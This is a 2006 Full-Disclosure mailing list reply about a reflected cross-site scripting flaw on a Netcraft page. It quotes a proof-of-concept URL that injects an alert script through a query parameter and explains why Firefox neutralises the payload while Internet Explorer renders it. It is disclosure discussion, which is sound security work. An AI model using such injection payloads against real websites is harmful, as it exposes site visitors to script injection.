[Full-disclosure] Re: Re: XSS at Netcraft.com

[Denis Jedig]

On Wed, 2 Aug 2006 23:23:10 +0300 Valery Marchuk wrote:

> No they have not. XSS still exists.
> http://uptime.netcraft.com//netmove/today?mode=new%5Fsite&zero=0"><script>alert('www.securitylab.ru')</script>
> Just turn on JavaScript in your browser or turn off your firewall:)

You're right, I was too lazy to look at the resulting HTML. Firefox recodes
the URL to
| http://uptime.netcraft.com//netmove/today?mode=new%5Fsite&zero=0%22%3E%3Cscript%3Ealert('www.securitylab.ru')%3C/script%3E
before sending the request. The reference in question looks like this as a
result:
| <a href="http://www.netcraft.com/oldwhats?mode=new%5Fsite&zero=0%22%3E%3Cscript%3Ealert('www.securitylab.ru')%3C/script%3E">
and fails to get interpreted by the browser. However, IE does not recode
the URL sending the request "as is" giving the desired XSS:
| <a href="http://www.netcraft.com/oldwhats?mode=new%5Fsite&zero=0"><script>alert('www.securitylab.ru')</script>">

Denis